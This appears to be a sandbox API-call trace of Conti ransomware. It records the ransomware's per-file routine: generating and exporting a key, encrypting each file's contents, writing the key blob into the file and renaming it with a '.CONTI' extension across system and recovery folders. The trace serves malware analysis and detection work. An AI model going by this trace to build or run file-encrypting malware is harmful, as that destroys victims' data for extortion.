	[0117.038] ReadFile (in: hFile=0x3fc, lpBuffer=0xc100000, nNumberOfBytesToRead=0x441a1, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x441a1, lpOverlapped=0x0) returned 1
	[0117.041] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x441a1, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x441b0) returned 1
	[0117.041] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.041] WriteFile (in: hFile=0x3fc, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x441b0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x441b0, lpOverlapped=0x0) returned 1
	[0117.042] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.042] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b53270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b53270*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0117.042] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.042] CloseHandle (hObject=0x3fc) returned 1
	[0117.042] GetProcessHeap () returned 0x1720000
	[0117.042] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.042] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC"
	[0117.042] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.CONTI"
	[0117.042] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc.conti")) returned 1
	[0117.043] GetProcessHeap () returned 0x1720000
	[0117.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.043] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0117.043] GetProcessHeap () returned 0x1720000
	[0117.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c6e8 | out: hHeap=0x1720000) returned 1
	[0117.043] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0117.043] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x6b7f2f8) returned 1
	[0117.043] CryptExportKey (in: hKey=0x6b7f2f8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x45bfa3c | out: pbData=0x6b53954*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0117.044] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png")) returned 0x20
	[0117.046] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0117.046] GetLastError () returned 0x0
	[0117.046] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=4657) returned 1
	[0117.046] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1231
	[0117.046] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.046] SetEndOfFile (hFile=0x3fc) returned 1
	[0117.047] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.047] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.047] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b53954*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b53954*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.805] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.805] ReadFile (in: hFile=0x3fc, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1231, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1231, lpOverlapped=0x0) returned 1
	[0118.806] CryptEncrypt (in: hKey=0x6b7f2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1231, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1240) returned 1
	[0118.806] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.806] WriteFile (in: hFile=0x3fc, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1240, lpOverlapped=0x0) returned 1
	[0118.806] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.806] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b53948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b53948*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0118.806] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.806] CloseHandle (hObject=0x3fc) returned 1
	[0118.806] GetProcessHeap () returned 0x1720000
	[0118.806] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.807] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png") returned="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png"
	[0118.807] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.CONTI"
	[0118.807] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Live\\WLive48x48.png.CONTI" (normalized: "c:\\programdata\\microsoft\\windows live\\wlive48x48.png.conti")) returned 1
	[0118.807] GetProcessHeap () returned 0x1720000
	[0118.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.807] CryptDestroyKey (hKey=0x6b7f2f8) returned 1
	[0118.807] GetProcessHeap () returned 0x1720000
	[0118.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516698 | out: hHeap=0x1720000) returned 1
	[0118.807] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0118.808] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b4dbc8 | out: phKey=0x6b4dbc8*=0x6b7f2f8) returned 1
	[0118.808] CryptExportKey (in: hKey=0x6b7f2f8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4dbcc, pdwDataLen=0x45bfa3c | out: pbData=0x6b4dbcc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0118.808] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20
	[0118.808] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0118.809] GetLastError () returned 0x0
	[0118.809] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=5153816) returned 1
	[0118.809] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4ea418
	[0118.809] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.809] SetEndOfFile (hFile=0x3fc) returned 1
	[0118.809] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.809] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.809] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b4dbcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbcc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.811] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.811] ReadFile (in: hFile=0x3fc, lpBuffer=0xc100000, nNumberOfBytesToRead=0x4ea418, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x4ea418, lpOverlapped=0x0) returned 1
	[0123.447] CryptEncrypt (in: hKey=0x6b7f2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x4ea418, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x4ea420) returned 1
	[0123.453] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.453] WriteFile (in: hFile=0x3fc, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x4ea420, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x4ea420, lpOverlapped=0x0) returned 1
	[0126.482] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.482] WriteFile (in: hFile=0x3fc, lpBuffer=0x6b4dbc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbc0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0129.327] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.327] CloseHandle (hObject=0x3fc) returned 1
	[0129.519] GetProcessHeap () returned 0x1720000
	[0129.532] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.532] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab"
	[0129.532] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI"
	[0129.532] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.conti")) returned 1
	[0129.535] GetProcessHeap () returned 0x1720000
	[0129.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.535] CryptDestroyKey (hKey=0x6b7f2f8) returned 1
	[0129.535] GetProcessHeap () returned 0x1720000
	[0129.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc750 | out: hHeap=0x1720000) returned 1
	[0129.535] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0129.535] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b44e58 | out: phKey=0x6b44e58*=0x17c80f0) returned 1
	[0129.536] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44e5c, pdwDataLen=0x45bfa3c | out: pbData=0x6b44e5c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0129.538] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.002.etl")) returned 0x2020
	[0129.565] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0129.565] GetLastError () returned 0x0
	[0129.566] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=12288) returned 1
	[0129.566] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0129.566] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.566] SetEndOfFile (hFile=0x3ac) returned 1
	[0129.566] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.566] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.566] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b44e5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b44e5c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.567] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.567] ReadFile (in: hFile=0x3ac, lpBuffer=0xc100000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x3000, lpOverlapped=0x0) returned 1
	[0129.568] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3000, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3010) returned 1
	[0129.568] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.568] WriteFile (in: hFile=0x3ac, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x3010, lpOverlapped=0x0) returned 1
	[0129.568] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.568] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b44e50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b44e50*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0129.569] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.569] CloseHandle (hObject=0x3ac) returned 1
	[0129.569] GetProcessHeap () returned 0x1720000
	[0129.569] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba1eb0
	[0129.569] lstrcpyW (in: lpString1=0x6ba1eb0, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl"
	[0129.569] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl.CONTI"
	[0129.569] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.002.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateUx.002.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updateux.002.etl.conti")) returned 1
	[0129.570] GetProcessHeap () returned 0x1720000
	[0129.570] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba1eb0 | out: hHeap=0x1720000) returned 1
	[0129.570] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.570] GetProcessHeap () returned 0x1720000
	[0129.570] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbdc8 | out: hHeap=0x1720000) returned 1
	[0129.570] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0129.570] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x17c82b0) returned 1
	[0129.570] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x45bfa3c | out: pbData=0x6b450a4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0129.571] GetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml")) returned 0x2020
	[0129.571] CreateFileW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0129.572] GetLastError () returned 0x0
	[0129.572] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=1006) returned 1
	[0129.572] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3ee
	[0129.572] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.572] SetEndOfFile (hFile=0x3ac) returned 1
	[0129.572] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.572] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.572] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b450a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x6b450a4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.573] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.573] ReadFile (in: hFile=0x3ac, lpBuffer=0xc100000, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x3ee, lpOverlapped=0x0) returned 1
	[0129.574] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3ee, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3f0) returned 1
	[0129.574] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.574] WriteFile (in: hFile=0x3ac, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x3f0, lpOverlapped=0x0) returned 1
	[0129.574] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.574] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b45098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x6b45098*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0129.574] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.574] CloseHandle (hObject=0x3ac) returned 1
	[0129.574] GetProcessHeap () returned 0x1720000
	[0129.574] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba1eb0
	[0129.574] lstrcpyW (in: lpString1=0x6ba1eb0, lpString2="C:\\Recovery\\ReAgentOld.xml" | out: lpString1="C:\\Recovery\\ReAgentOld.xml") returned="C:\\Recovery\\ReAgentOld.xml"
	[0129.574] lstrcatW (in: lpString1="C:\\Recovery\\ReAgentOld.xml", lpString2=".CONTI" | out: lpString1="C:\\Recovery\\ReAgentOld.xml.CONTI") returned="C:\\Recovery\\ReAgentOld.xml.CONTI"
